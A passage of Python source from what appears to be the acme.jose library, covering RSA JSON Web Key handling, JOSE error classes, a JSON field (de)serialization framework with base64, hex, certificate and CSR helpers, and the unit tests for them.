        # application uses another means or convention to determine
        # the algorithm used.
        return {'k': json_util.encode_b64jose(self.key)}

    @classmethod
    def fields_from_json(cls, jobj):
        return cls(key=json_util.decode_b64jose(jobj['k']))

    def public_key(self):
        return self


@JWK.register
class JWKRSA(JWK):
    """RSA JWK.

    :ivar key: `cryptography.hazmat.primitives.rsa.RSAPrivateKey`
        or `cryptography.hazmat.primitives.rsa.RSAPublicKey` wrapped
        in `.ComparableRSAKey`

    """
    typ = 'RSA'
    cryptography_key_types = (rsa.RSAPublicKey, rsa.RSAPrivateKey)
    __slots__ = ('key',)
    required = ('e', JWK.type_field_name, 'n')

    def __init__(self, *args, **kwargs):
        if 'key' in kwargs and not isinstance(
                kwargs['key'], util.ComparableRSAKey):
            kwargs['key'] = util.ComparableRSAKey(kwargs['key'])
        super(JWKRSA, self).__init__(*args, **kwargs)

    @classmethod
    def _encode_param(cls, data):
        """Encode Base64urlUInt.

        :type data: long
        :rtype: unicode

        """
        def _leading_zeros(arg):
            if len(arg) % 2:
                return '0' + arg
            return arg

        return json_util.encode_b64jose(binascii.unhexlify(
            _leading_zeros(hex(data)[2:].rstrip('L'))))

    @classmethod
    def _decode_param(cls, data):
        """Decode Base64urlUInt."""
        try:
            return int(binascii.hexlify(json_util.decode_b64jose(data)), 16)
        except ValueError:  # invalid literal for long() with base 16
            raise errors.DeserializationError()

    def public_key(self):
        return type(self)(key=self.key.public_key())

    @classmethod
    def fields_from_json(cls, jobj):
        # pylint: disable=invalid-name
        n, e = (cls._decode_param(jobj[x]) for x in ('n', 'e'))
        public_numbers = rsa.RSAPublicNumbers(e=e, n=n)
        if 'd' not in jobj:  # public key
            key = public_numbers.public_key(default_backend())
        else:  # private key
            d = cls._decode_param(jobj['d'])
            if ('p' in jobj or 'q' in jobj or 'dp' in jobj or
                    'dq' in jobj or 'qi' in jobj or 'oth' in jobj):
                # "If the producer includes any of the other private
                # key parameters, then all of the others MUST be
                # present, with the exception of "oth", which MUST
                # only be present when more than two prime factors
                # were used."
                p, q, dp, dq, qi, = all_params = tuple(
                    jobj.get(x) for x in ('p', 'q', 'dp', 'dq', 'qi'))
                if tuple(param for param in all_params if param is None):
                    raise errors.Error(
                        'Some private parameters are missing: {0}'.format(
                            all_params))
                p, q, dp, dq, qi = tuple(
                    cls._decode_param(x) for x in all_params)

                # TODO: check for oth
            else:
                # cryptography>=0.8
                p, q = rsa.rsa_recover_prime_factors(n, e, d)
                dp = rsa.rsa_crt_dmp1(d, p)
                dq = rsa.rsa_crt_dmq1(d, q)
                qi = rsa.rsa_crt_iqmp(p, q)

            key = rsa.RSAPrivateNumbers(
                p, q, d, dp, dq, qi, public_numbers).private_key(
                    default_backend())

        return cls(key=key)

    def fields_to_partial_json(self):
        # pylint: disable=protected-access
        if isinstance(self.key._wrapped, rsa.RSAPublicKey):
            numbers = self.key.public_numbers()
            params = {
                'n': numbers.n,
                'e': numbers.e,
            }
        else:  # rsa.RSAPrivateKey
            private = self.key.private_numbers()
            public = self.key.public_key().public_numbers()
            params = {
                'n': public.n,
                'e': public.e,
                'd': private.d,
                'p': private.p,
                'q': private.q,
                'dp': private.dmp1,
                'dq': private.dmq1,
                'qi': private.iqmp,
            }
        return dict((key, self._encode_param(value))
                    for key, value in six.iteritems(params))






"""JOSE errors."""


class Error(Exception):
    """Generic JOSE Error."""


class DeserializationError(Error):
    """JSON deserialization error."""

    def __str__(self):
        return "Deserialization error: {0}".format(
            super(DeserializationError, self).__str__())


class SerializationError(Error):
    """JSON serialization error."""


class UnrecognizedTypeError(DeserializationError):
    """Unrecognized type error.

    :ivar str typ: The unrecognized type of the JSON object.
    :ivar jobj: Full JSON object.

    """

    def __init__(self, typ, jobj):
        self.typ = typ
        self.jobj = jobj
        super(UnrecognizedTypeError, self).__init__(str(self))

    def __str__(self):
        return '{0} was not recognized, full message: {1}'.format(
            self.typ, self.jobj)






"""JSON (de)serialization framework.

The framework presented here is somewhat based on `Go's "json" package`_
(especially the ``omitempty`` functionality).

.. _`Go's "json" package`: http://golang.org/pkg/encoding/json/

"""
import abc
import binascii
import logging

import OpenSSL
import six

from acme.jose import b64
from acme.jose import errors
from acme.jose import interfaces
from acme.jose import util


logger = logging.getLogger(__name__)


class Field(object):
    """JSON object field.

    :class:`Field` is meant to be used together with
    :class:`JSONObjectWithFields`.

    ``encoder`` (``decoder``) is a callable that accepts a single
    parameter, i.e. a value to be encoded (decoded), and returns the
    serialized (deserialized) value. In case of errors it should raise
    :class:`~acme.jose.errors.SerializationError`
    (:class:`~acme.jose.errors.DeserializationError`).

    Note, that ``decoder`` should perform partial serialization only.

    :ivar str json_name: Name of the field when encoded to JSON.
    :ivar default: Default value (used when not present in JSON object).
    :ivar bool omitempty: If ``True`` and the field value is empty, then
        it will not be included in the serialized JSON object, and
        ``default`` will be used for deserialization. Otherwise, if ``False``,
        field is considered as required, value will always be included in the
        serialized JSON objected, and it must also be present when
        deserializing.

    """
    __slots__ = ('json_name', 'default', 'omitempty', 'fdec', 'fenc')

    def __init__(self, json_name, default=None, omitempty=False,
                 decoder=None, encoder=None):
        # pylint: disable=too-many-arguments
        self.json_name = json_name
        self.default = default
        self.omitempty = omitempty

        self.fdec = self.default_decoder if decoder is None else decoder
        self.fenc = self.default_encoder if encoder is None else encoder

    @classmethod
    def _empty(cls, value):
        """Is the provided value cosidered "empty" for this field?

        This is useful for subclasses that might want to override the
        definition of being empty, e.g. for some more exotic data types.

        """
        return not isinstance(value, bool) and not value

    def omit(self, value):
        """Omit the value in output?"""
        return self._empty(value) and self.omitempty

    def _update_params(self, **kwargs):
        current = dict(json_name=self.json_name, default=self.default,
                       omitempty=self.omitempty,
                       decoder=self.fdec, encoder=self.fenc)
        current.update(kwargs)
        return type(self)(**current)  # pylint: disable=star-args

    def decoder(self, fdec):
        """Descriptor to change the decoder on JSON object field."""
        return self._update_params(decoder=fdec)

    def encoder(self, fenc):
        """Descriptor to change the encoder on JSON object field."""
        return self._update_params(encoder=fenc)

    def decode(self, value):
        """Decode a value, optionally with context JSON object."""
        return self.fdec(value)

    def encode(self, value):
        """Encode a value, optionally with context JSON object."""
        return self.fenc(value)

    @classmethod
    def default_decoder(cls, value):
        """Default decoder.

        Recursively deserialize into immutable types (
        :class:`acme.jose.util.frozendict` instead of
        :func:`dict`, :func:`tuple` instead of :func:`list`).

        """
        # bases cases for different types returned by json.loads
        if isinstance(value, list):
            return tuple(cls.default_decoder(subvalue) for subvalue in value)
        elif isinstance(value, dict):
            return util.frozendict(
                dict((cls.default_decoder(key), cls.default_decoder(value))
                     for key, value in six.iteritems(value)))
        else:  # integer or string
            return value

    @classmethod
    def default_encoder(cls, value):
        """Default (passthrough) encoder."""
        # field.to_partial_json() is no good as encoder has to do partial
        # serialization only
        return value


class JSONObjectWithFieldsMeta(abc.ABCMeta):
    """Metaclass for :class:`JSONObjectWithFields` and its subclasses.

    It makes sure that, for any class ``cls`` with ``__metaclass__``
    set to ``JSONObjectWithFieldsMeta``:

    1. All fields (attributes of type :class:`Field`) in the class
       definition are moved to the ``cls._fields`` dictionary, where
       keys are field attribute names and values are fields themselves.

    2. ``cls.__slots__`` is extended by all field attribute names
       (i.e. not :attr:`Field.json_name`). Original ``cls.__slots__``
       are stored in ``cls._orig_slots``.

    In a consequence, for a field attribute name ``some_field``,
    ``cls.some_field`` will be a slot descriptor and not an instance
    of :class:`Field`. For example::

      some_field = Field('someField', default=())

      class Foo(object):
          __metaclass__ = JSONObjectWithFieldsMeta
          __slots__ = ('baz',)
          some_field = some_field

      assert Foo.__slots__ == ('some_field', 'baz')
      assert Foo._orig_slots == ()
      assert Foo.some_field is not Field

      assert Foo._fields.keys() == ['some_field']
      assert Foo._fields['some_field'] is some_field

    As an implementation note, this metaclass inherits from
    :class:`abc.ABCMeta` (and not the usual :class:`type`) to mitigate
    the metaclass conflict (:class:`ImmutableMap` and
    :class:`JSONDeSerializable`, parents of :class:`JSONObjectWithFields`,
    use :class:`abc.ABCMeta` as its metaclass).

    """

    def __new__(mcs, name, bases, dikt):
        fields = {}

        for base in bases:
            fields.update(getattr(base, '_fields', {}))
        # Do not reorder, this class might override fields from base classes!
        for key, value in tuple(six.iteritems(dikt)):
            # not six.iterkeys() (in-place edit!)
            if isinstance(value, Field):
                fields[key] = dikt.pop(key)

        dikt['_orig_slots'] = dikt.get('__slots__', ())
        dikt['__slots__'] = tuple(
            list(dikt['_orig_slots']) + list(six.iterkeys(fields)))
        dikt['_fields'] = fields

        return abc.ABCMeta.__new__(mcs, name, bases, dikt)


@six.add_metaclass(JSONObjectWithFieldsMeta)
class JSONObjectWithFields(util.ImmutableMap, interfaces.JSONDeSerializable):
    # pylint: disable=too-few-public-methods
    """JSON object with fields.

    Example::

      class Foo(JSONObjectWithFields):
          bar = Field('Bar')
          empty = Field('Empty', omitempty=True)

          @bar.encoder
          def bar(value):
              return value + 'bar'

          @bar.decoder
          def bar(value):
              if not value.endswith('bar'):
                  raise errors.DeserializationError('No bar suffix!')
              return value[:-3]

      assert Foo(bar='baz').to_partial_json() == {'Bar': 'bazbar'}
      assert Foo.from_json({'Bar': 'bazbar'}) == Foo(bar='baz')
      assert (Foo.from_json({'Bar': 'bazbar', 'Empty': '!'})
              == Foo(bar='baz', empty='!'))
      assert Foo(bar='baz').bar == 'baz'

    """

    @classmethod
    def _defaults(cls):
        """Get default fields values."""
        return dict([(slot, field.default) for slot, field
                     in six.iteritems(cls._fields)])

    def __init__(self, **kwargs):
        # pylint: disable=star-args
        super(JSONObjectWithFields, self).__init__(
            **(dict(self._defaults(), **kwargs)))

    def encode(self, name):
        """Encode a single field.

        :param str name: Name of the field to be encoded.

        :raises errors.SerializationError: if field cannot be serialized
        :raises errors.Error: if field could not be found

        """
        try:
            field = self._fields[name]
        except KeyError:
            raise errors.Error("Field not found: {0}".format(name))

        return field.encode(getattr(self, name))

    def fields_to_partial_json(self):
        """Serialize fields to JSON."""
        jobj = {}
        omitted = set()
        for slot, field in six.iteritems(self._fields):
            value = getattr(self, slot)

            if field.omit(value):
                omitted.add((slot, value))
            else:
                try:
                    jobj[field.json_name] = field.encode(value)
                except errors.SerializationError as error:
                    raise errors.SerializationError(
                        'Could not encode {0} ({1}): {2}'.format(
                            slot, value, error))
        if omitted:
            # pylint: disable=star-args
            logger.debug('Omitted empty fields: %s', ', '.join(
                '{0!s}={1!r}'.format(*field) for field in omitted))
        return jobj

    def to_partial_json(self):
        return self.fields_to_partial_json()

    @classmethod
    def _check_required(cls, jobj):
        missing = set()
        for _, field in six.iteritems(cls._fields):
            if not field.omitempty and field.json_name not in jobj:
                missing.add(field.json_name)

        if missing:
            raise errors.DeserializationError(
                'The following field are required: {0}'.format(
                    ','.join(missing)))

    @classmethod
    def fields_from_json(cls, jobj):
        """Deserialize fields from JSON."""
        cls._check_required(jobj)
        fields = {}
        for slot, field in six.iteritems(cls._fields):
            if field.json_name not in jobj and field.omitempty:
                fields[slot] = field.default
            else:
                value = jobj[field.json_name]
                try:
                    fields[slot] = field.decode(value)
                except errors.DeserializationError as error:
                    raise errors.DeserializationError(
                        'Could not decode {0!r} ({1!r}): {2}'.format(
                            slot, value, error))
        return fields

    @classmethod
    def from_json(cls, jobj):
        return cls(**cls.fields_from_json(jobj))


def encode_b64jose(data):
    """Encode JOSE Base-64 field.

    :param bytes data:
    :rtype: `unicode`

    """
    # b64encode produces ASCII characters only
    return b64.b64encode(data).decode('ascii')


def decode_b64jose(data, size=None, minimum=False):
    """Decode JOSE Base-64 field.

    :param unicode data:
    :param int size: Required length (after decoding).
    :param bool minimum: If ``True``, then `size` will be treated as
        minimum required length, as opposed to exact equality.

    :rtype: bytes

    """
    error_cls = TypeError if six.PY2 else binascii.Error
    try:
        decoded = b64.b64decode(data.encode())
    except error_cls as error:
        raise errors.DeserializationError(error)

    if size is not None and ((not minimum and len(decoded) != size) or
                             (minimum and len(decoded) < size)):
        raise errors.DeserializationError(
            "Expected at least or exactly {0} bytes".format(size))

    return decoded


def encode_hex16(value):
    """Hexlify.

    :param bytes value:
    :rtype: unicode

    """
    return binascii.hexlify(value).decode()


def decode_hex16(value, size=None, minimum=False):
    """Decode hexlified field.

    :param unicode value:
    :param int size: Required length (after decoding).
    :param bool minimum: If ``True``, then `size` will be treated as
        minimum required length, as opposed to exact equality.

    :rtype: bytes

    """
    value = value.encode()
    if size is not None and ((not minimum and len(value) != size * 2) or
                             (minimum and len(value) < size * 2)):
        raise errors.DeserializationError()
    error_cls = TypeError if six.PY2 else binascii.Error
    try:
        return binascii.unhexlify(value)
    except error_cls as error:
        raise errors.DeserializationError(error)


def encode_cert(cert):
    """Encode certificate as JOSE Base-64 DER.

    :type cert: `OpenSSL.crypto.X509` wrapped in `.ComparableX509`
    :rtype: unicode

    """
    return encode_b64jose(OpenSSL.crypto.dump_certificate(
        OpenSSL.crypto.FILETYPE_ASN1, cert.wrapped))


def decode_cert(b64der):
    """Decode JOSE Base-64 DER-encoded certificate.

    :param unicode b64der:
    :rtype: `OpenSSL.crypto.X509` wrapped in `.ComparableX509`

    """
    try:
        return util.ComparableX509(OpenSSL.crypto.load_certificate(
            OpenSSL.crypto.FILETYPE_ASN1, decode_b64jose(b64der)))
    except OpenSSL.crypto.Error as error:
        raise errors.DeserializationError(error)


def encode_csr(csr):
    """Encode CSR as JOSE Base-64 DER.

    :type csr: `OpenSSL.crypto.X509Req` wrapped in `.ComparableX509`
    :rtype: unicode

    """
    return encode_b64jose(OpenSSL.crypto.dump_certificate_request(
        OpenSSL.crypto.FILETYPE_ASN1, csr.wrapped))


def decode_csr(b64der):
    """Decode JOSE Base-64 DER-encoded CSR.

    :param unicode b64der:
    :rtype: `OpenSSL.crypto.X509Req` wrapped in `.ComparableX509`

    """
    try:
        return util.ComparableX509(OpenSSL.crypto.load_certificate_request(
            OpenSSL.crypto.FILETYPE_ASN1, decode_b64jose(b64der)))
    except OpenSSL.crypto.Error as error:
        raise errors.DeserializationError(error)


class TypedJSONObjectWithFields(JSONObjectWithFields):
    """JSON object with type."""

    typ = NotImplemented
    """Type of the object. Subclasses must override."""

    type_field_name = "type"
    """Field name used to distinguish different object types.

    Subclasses will probably have to override this.

    """

    TYPES = NotImplemented
    """Types registered for JSON deserialization"""

    @classmethod
    def register(cls, type_cls, typ=None):
        """Register class for JSON deserialization."""
        typ = type_cls.typ if typ is None else typ
        cls.TYPES[typ] = type_cls
        return type_cls

    @classmethod
    def get_type_cls(cls, jobj):
        """Get the registered class for ``jobj``."""
        if cls in six.itervalues(cls.TYPES):
            if cls.type_field_name not in jobj:
                raise errors.DeserializationError(
                    "Missing type field ({0})".format(cls.type_field_name))
            # cls is already registered type_cls, force to use it
            # so that, e.g Revocation.from_json(jobj) fails if
            # jobj["type"] != "revocation".
            return cls

        if not isinstance(jobj, dict):
            raise errors.DeserializationError(
                "{0} is not a dictionary object".format(jobj))
        try:
            typ = jobj[cls.type_field_name]
        except KeyError:
            raise errors.DeserializationError("missing type field")

        try:
            return cls.TYPES[typ]
        except KeyError:
            raise errors.UnrecognizedTypeError(typ, jobj)

    def to_partial_json(self):
        """Get JSON serializable object.

        :returns: Serializable JSON object representing ACME typed object.
            :meth:`validate` will almost certainly not work, due to reasons
            explained in :class:`acme.interfaces.IJSONSerializable`.
        :rtype: dict

        """
        jobj = self.fields_to_partial_json()
        jobj[self.type_field_name] = self.typ
        return jobj

    @classmethod
    def from_json(cls, jobj):
        """Deserialize ACME object from valid JSON object.

        :raises acme.errors.UnrecognizedTypeError: if type
            of the ACME object has not been registered.

        """
        # make sure subclasses don't cause infinite recursive from_json calls
        type_cls = cls.get_type_cls(jobj)
        return type_cls(**type_cls.fields_from_json(jobj))






"""Tests for acme.jose.json_util."""
import itertools
import unittest

import mock
import six

from acme import test_util

from acme.jose import errors
from acme.jose import interfaces
from acme.jose import util


CERT = test_util.load_comparable_cert('cert.pem')
CSR = test_util.load_comparable_csr('csr.pem')


class FieldTest(unittest.TestCase):
    """Tests for acme.jose.json_util.Field."""

    def test_no_omit_boolean(self):
        from acme.jose.json_util import Field
        for default, omitempty, value in itertools.product(
                [True, False], [True, False], [True, False]):
            self.assertFalse(
                Field("foo", default=default, omitempty=omitempty).omit(value))

    def test_descriptors(self):
        mock_value = mock.MagicMock()

        # pylint: disable=missing-docstring

        def decoder(unused_value):
            return 'd'

        def encoder(unused_value):
            return 'e'

        from acme.jose.json_util import Field
        field = Field('foo')

        field = field.encoder(encoder)
        self.assertEqual('e', field.encode(mock_value))

        field = field.decoder(decoder)
        self.assertEqual('e', field.encode(mock_value))
        self.assertEqual('d', field.decode(mock_value))

    def test_default_encoder_is_partial(self):
        class MockField(interfaces.JSONDeSerializable):
            # pylint: disable=missing-docstring
            def to_partial_json(self):
                return 'foo'  # pragma: no cover

            @classmethod
            def from_json(cls, jobj):
                pass  # pragma: no cover
        mock_field = MockField()

        from acme.jose.json_util import Field
        self.assertTrue(Field.default_encoder(mock_field) is mock_field)
        # in particular...
        self.assertNotEqual('foo', Field.default_encoder(mock_field))

    def test_default_encoder_passthrough(self):
        mock_value = mock.MagicMock()
        from acme.jose.json_util import Field
        self.assertTrue(Field.default_encoder(mock_value) is mock_value)

    def test_default_decoder_list_to_tuple(self):
        from acme.jose.json_util import Field
        self.assertEqual((1, 2, 3), Field.default_decoder([1, 2, 3]))

    def test_default_decoder_dict_to_frozendict(self):
        from acme.jose.json_util import Field
        obj = Field.default_decoder({'x': 2})
        self.assertTrue(isinstance(obj, util.frozendict))
        self.assertEqual(obj, util.frozendict(x=2))

    def test_default_decoder_passthrough(self):
        mock_value = mock.MagicMock()
        from acme.jose.json_util import Field
        self.assertTrue(Field.default_decoder(mock_value) is mock_value)


class JSONObjectWithFieldsMetaTest(unittest.TestCase):
    """Tests for acme.jose.json_util.JSONObjectWithFieldsMeta."""

    def setUp(self):
        from acme.jose.json_util import Field
        from acme.jose.json_util import JSONObjectWithFieldsMeta
        self.field = Field('Baz')
        self.field2 = Field('Baz2')
        # pylint: disable=invalid-name,missing-docstring,too-few-public-methods
        # pylint: disable=blacklisted-name

        @six.add_metaclass(JSONObjectWithFieldsMeta)
        class A(object):
            __slots__ = ('bar',)
            baz = self.field

        class B(A):
            pass

        class C(A):
            baz = self.field2

        self.a_cls = A
        self.b_cls = B
        self.c_cls = C

    def test_fields(self):
        # pylint: disable=protected-access,no-member
        self.assertEqual({'baz': self.field}, self.a_cls._fields)
        self.assertEqual({'baz': self.field}, self.b_cls._fields)

    def test_fields_inheritance(self):
        # pylint: disable=protected-access,no-member
        self.assertEqual({'baz': self.field2}, self.c_cls._fields)

    def test_slots(self):
        self.assertEqual(('bar', 'baz'), self.a_cls.__slots__)
        self.assertEqual(('baz',), self.b_cls.__slots__)

    def test_orig_slots(self):
        # pylint: disable=protected-access,no-member
        self.assertEqual(('bar',), self.a_cls._orig_slots)
        self.assertEqual((), self.b_cls._orig_slots)


class JSONObjectWithFieldsTest(unittest.TestCase):
    """Tests for acme.jose.json_util.JSONObjectWithFields."""
    # pylint: disable=protected-access

    def setUp(self):
        from acme.jose.json_util import JSONObjectWithFields
        from acme.jose.json_util import Field

        class MockJSONObjectWithFields(JSONObjectWithFields):
            # pylint: disable=invalid-name,missing-docstring,no-self-argument
            # pylint: disable=too-few-public-methods
            x = Field('x', omitempty=True,
                      encoder=(lambda x: x * 2),
                      decoder=(lambda x: x / 2))
            y = Field('y')
            z = Field('Z')  # on purpose uppercase

            @y.encoder
            def y(value):
                if value == 500:
                    raise errors.SerializationError()
                return value

            @y.decoder
            def y(value):
                if value == 500:
                    raise errors.DeserializationError()
                return value

        # pylint: disable=invalid-name
        self.MockJSONObjectWithFields = MockJSONObjectWithFields
        self.mock = MockJSONObjectWithFields(x=None, y=2, z=3)

    def test_init_defaults(self):
        self.assertEqual(self.mock, self.MockJSONObjectWithFields(y=2, z=3))

    def test_encode(self):
        self.assertEqual(10, self.MockJSONObjectWithFields(
            x=5, y=0, z=0).encode("x"))

    def test_encode_wrong_field(self):
        self.assertRaises(errors.Error, self.mock.encode, 'foo')

    def test_encode_serialization_error_passthrough(self):
        self.assertRaises(
            errors.SerializationError,
            self.MockJSONObjectWithFields(y=500, z=None).encode, "y")

    def test_fields_to_partial_json_omits_empty(self):
        self.assertEqual(self.mock.fields_to_partial_json(), {'y': 2, 'Z': 3})

    def test_fields_from_json_fills_default_for_empty(self):
        self.assertEqual(
            {'x': None, 'y': 2, 'z': 3},
            self.MockJSONObjectWithFields.fields_from_json({'y': 2, 'Z': 3}))

    def test_fields_from_json_fails_on_missing(self):
        self.assertRaises(
            errors.DeserializationError,
            self.MockJSONObjectWithFields.fields_from_json, {'y': 0})
        self.assertRaises(
            errors.DeserializationError,
            self.MockJSONObjectWithFields.fields_from_json, {'Z': 0})
        self.assertRaises(
            errors.DeserializationError,
            self.MockJSONObjectWithFields.fields_from_json, {'x': 0, 'y': 0})
        self.assertRaises(
            errors.DeserializationError,
            self.MockJSONObjectWithFields.fields_from_json, {'x': 0, 'Z': 0})

    def test_fields_to_partial_json_encoder(self):
        self.assertEqual(
            self.MockJSONObjectWithFields(x=1, y=2, z=3).to_partial_json(),
            {'x': 2, 'y': 2, 'Z': 3})

    def test_fields_from_json_decoder(self):
        self.assertEqual(
            {'x': 2, 'y': 2, 'z': 3},
            self.MockJSONObjectWithFields.fields_from_json(
                {'x': 4, 'y': 2, 'Z': 3}))

    def test_fields_to_partial_json_error_passthrough(self):
        self.assertRaises(
            errors.SerializationError, self.MockJSONObjectWithFields(
                x=1, y=500, z=3).to_partial_json)

    def test_fields_from_json_error_passthrough(self):
        self.assertRaises(
            errors.DeserializationError,
            self.MockJSONObjectWithFields.from_json,
            {'x': 4, 'y': 500, 'Z': 3})


class DeEncodersTest(unittest.TestCase):
    def setUp(self):
        self.b64_cert = (
            u'MIIB3jCCAYigAwIBAgICBTkwDQYJKoZIhvcNAQELBQAwdzELMAkGA1UEBhM'
            u'CVVMxETAPBgNVBAgMCE1pY2hpZ2FuMRIwEAYDVQQHDAlBbm4gQXJib3IxKz'
            u'ApBgNVBAoMIlVuaXZlcnNpdHkgb2YgTWljaGlnYW4gYW5kIHRoZSBFRkYxF'
            u'DASBgNVBAMMC2V4YW1wbGUuY29tMB4XDTE0MTIxMTIyMzQ0NVoXDTE0MTIx'
            u'ODIyMzQ0NVowdzELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE1pY2hpZ2FuMRI'
            u'wEAYDVQQHDAlBbm4gQXJib3IxKzApBgNVBAoMIlVuaXZlcnNpdHkgb2YgTW'
            u'ljaGlnYW4gYW5kIHRoZSBFRkYxFDASBgNVBAMMC2V4YW1wbGUuY29tMFwwD'
            u'QYJKoZIhvcNAQEBBQADSwAwSAJBAKx1c7RR7R_drnBSQ_zfx1vQLHUbFLh1'
            u'AQQQ5R8DZUXd36efNK79vukFhN9HFoHZiUvOjm0c-pVE6K-EdE_twuUCAwE'
            u'AATANBgkqhkiG9w0BAQsFAANBAC24z0IdwIVKSlntksllvr6zJepBH5fMnd'
            u'fk3XJp10jT6VE-14KNtjh02a56GoraAvJAT5_H67E8GvJ_ocNnB_o'
        )
        self.b64_csr = (
            u'MIIBXTCCAQcCAQAweTELMAkGA1UEBhMCVVMxETAPBgNVBAgMCE1pY2hpZ2F'
            u'uMRIwEAYDVQQHDAlBbm4gQXJib3IxDDAKBgNVBAoMA0VGRjEfMB0GA1UECw'
            u'wWVW5pdmVyc2l0eSBvZiBNaWNoaWdhbjEUMBIGA1UEAwwLZXhhbXBsZS5jb'
            u'20wXDANBgkqhkiG9w0BAQEFAANLADBIAkEArHVztFHtH92ucFJD_N_HW9As'
            u'dRsUuHUBBBDlHwNlRd3fp580rv2-6QWE30cWgdmJS86ObRz6lUTor4R0T-3'
            u'C5QIDAQABoCkwJwYJKoZIhvcNAQkOMRowGDAWBgNVHREEDzANggtleGFtcG'
            u'xlLmNvbTANBgkqhkiG9w0BAQsFAANBAHJH_O6BtC9aGzEVCMGOZ7z9iIRHW'
            u'Szr9x_bOzn7hLwsbXPAgO1QxEwL-X-4g20Gn9XBE1N9W6HCIEut2d8wACg'
        )

    def test_encode_b64jose(self):
        from acme.jose.json_util import encode_b64jose
        encoded = encode_b64jose(b'x')
        self.assertTrue(isinstance(encoded, six.string_types))
        self.assertEqual(u'eA', encoded)

    def test_decode_b64jose(self):
        from acme.jose.json_util import decode_b64jose
        decoded = decode_b64jose(u'eA')
        self.assertTrue(isinstance(decoded, six.binary_type))
        self.assertEqual(b'x', decoded)

    def test_decode_b64jose_padding_error(self):
        from acme.jose.json_util import decode_b64jose
        self.assertRaises(errors.DeserializationError, decode_b64jose, u'x')

    def test_decode_b64jose_size(self):
        from acme.jose.json_util import decode_b64jose
        self.assertEqual(b'foo', decode_b64jose(u'Zm9v', size=3))
        self.assertRaises(
            errors.DeserializationError, decode_b64jose, u'Zm9v', size=2)
        self.assertRaises(
            errors.DeserializationError, decode_b64jose, u'Zm9v', size=4)

    def test_decode_b64jose_minimum_size(self):
        from acme.jose.json_util import decode_b64jose
        self.assertEqual(b'foo', decode_b64jose(u'Zm9v', size=3, minimum=True))
        self.assertEqual(b'foo', decode_b64jose(u'Zm9v', size=2, minimum=True))
        self.assertRaises(errors.DeserializationError, decode_b64jose,
                          u'Zm9v', size=4, minimum=True)

    def test_encode_hex16(self):
        from acme.jose.json_util import encode_hex16
        encoded = encode_hex16(b'foo')
        self.assertEqual(u'666f6f', encoded)
        self.assertTrue(isinstance(encoded, six.string_types))

    def test_decode_hex16(self):
        from acme.jose.json_util import decode_hex16
        decoded = decode_hex16(u'666f6f')
        self.assertEqual(b'foo', decoded)
        self.assertTrue(isinstance(decoded, six.binary_type))

    def test_decode_hex16_minimum_size(self):
        from acme.jose.json_util import decode_hex16
        self.assertEqual(b'foo', decode_hex16(u'666f6f', size=3, minimum=True))
        self.assertEqual(b'foo', decode_hex16(u'666f6f', size=2, minimum=True))
        self.assertRaises(errors.DeserializationError, decode_hex16,
                          u'666f6f', size=4, minimum=True)

    def test_decode_hex16_odd_length(self):
        from acme.jose.json_util import decode_hex16
        self.assertRaises(errors.DeserializationError, decode_hex16, u'x')

    def test_encode_cert(self):
        from acme.jose.json_util import encode_cert
        self.assertEqual(self.b64_cert, encode_cert(CERT))

    def test_decode_cert(self):
        from acme.jose.json_util import decode_cert
        cert = decode_cert(self.b64_cert)
        self.assertTrue(isinstance(cert, util.ComparableX509))
        self.assertEqual(cert, CERT)
        self.assertRaises(errors.DeserializationError, decode_cert, u'')

    def test_encode_csr(self):
        from acme.jose.json_util import encode_csr
        self.assertEqual(self.b64_csr, encode_csr(CSR))

    def test_decode_csr(self):
        from acme.jose.json_util import decode_csr
        csr = decode_csr(self.b64_csr)
        self.assertTrue(isinstance(csr, util.ComparableX509))
        self.assertEqual(csr, CSR)
        self.assertRaises(errors.DeserializationError, decode_csr, u'')


class TypedJSONObjectWithFieldsTest(unittest.TestCase):

    def setUp(self):
        from acme.jose.json_util import TypedJSONObjectWithFields

        # pylint: disable=missing-docstring,abstract-method
        # pylint: disable=too-few-public-methods

        class MockParentTypedJSONObjectWithFields(TypedJSONObjectWithFields):
            TYPES = {}
            type_field_name = 'type'

        @MockParentTypedJSONObjectWithFields.register
        class MockTypedJSONObjectWithFields(
                MockParentTypedJSONObjectWithFields):
            typ = 'test'
            __slots__ = ('foo',)

            @classmethod
            def fields_from_json(cls, jobj):
                return {'foo': jobj['foo']}

            def fields_to_partial_json(self):
                return {'foo': self.foo}

        self.parent_cls = MockParentTypedJSONObjectWithFields
        self.msg = MockTypedJSONObjectWithFields(foo='bar')

    def test_to_partial_json(self):
        self.assertEqual(self.msg.to_partial_json(), {
            'type': 'test',
            'foo': 'bar',
        })

    def test_from_json_non_dict_fails(self):
        for value in [[], (), 5, "asd"]:  # all possible input types
            self.assertRaises(
                errors.DeserializationError, self.parent_cls.from_json, value)

    def test_from_json_dict_no_type_fails(self):
        self.assertRaises(
            errors.DeserializationError, self.parent_cls.from_json, {})

    def test_from_json_unknown_type_fails(self):
        self.assertRaises(errors.UnrecognizedTypeError,
                          self.parent_cls.from_json, {'type': 'bar'})

    def test_from_json_returns_obj(self):
        self.assertEqual({'foo': 'bar'}, self.parent_cls.from_json(
            {'type': 'test', 'foo': 'bar'}))


if __name__ == '__main__':
    unittest.main()  # pragma: no cover






"""JOSE interfaces."""
import abc
import collections
import json

import six

from acme.jose import errors
from acme.jose import util

# pylint: disable=no-self-argument,no-method-argument,no-init,inherit-non-class
# pylint: disable=too-few-public-methods


@six.add_metaclass(abc.ABCMeta)
class JSONDeSerializable(object):
    # pylint: disable=too-few-public-methods
    """Interface for (de)serializable JSON objects.

    Please recall, that standard Python library implements
    :class:`json.JSONEncoder` and :class:`json.JSONDecoder` that perform
    translations based on respective :ref:`conversion tables
    <conversion-table>` that look pretty much like the one below (for
    complete tables see relevant Python documentation):

    .. _conversion-table:

    ======  ======
     JSON   Python
    ======  ======
    object  dict
    ...     ...
    ======  ======

    While the above **conversion table** is about translation of JSON
    documents to/from the basic Python types only,
    :class:`JSONDeSerializable` introduces the following two concepts:

      serialization
        Turning an arbitrary Python object into Python object that can
        be encoded into a JSON document. **Full serialization** produces
        a Python object composed of only basic types as required by the
        :ref:`conversion table <conversion-table>`. **Partial
        serialization** (accomplished by :meth:`to_partial_json`)
        produces a Python object that might also be built from other
        :class:`JSONDeSerializable` objects.

      deserialization
        Turning a decoded Python object (necessarily one of the basic
        types as required by the :ref:`conversion table
        <conversion-table>`) into an arbitrary Python object.

    Serialization produces **serialized object** ("partially serialized
    object" or "fully serialized object" for partial and full
    serialization respectively) and deserialization produces
    **deserialized object**, both usually denoted in the source code as
    ``jobj``.

    Wording in the official Python documentation might be confusing
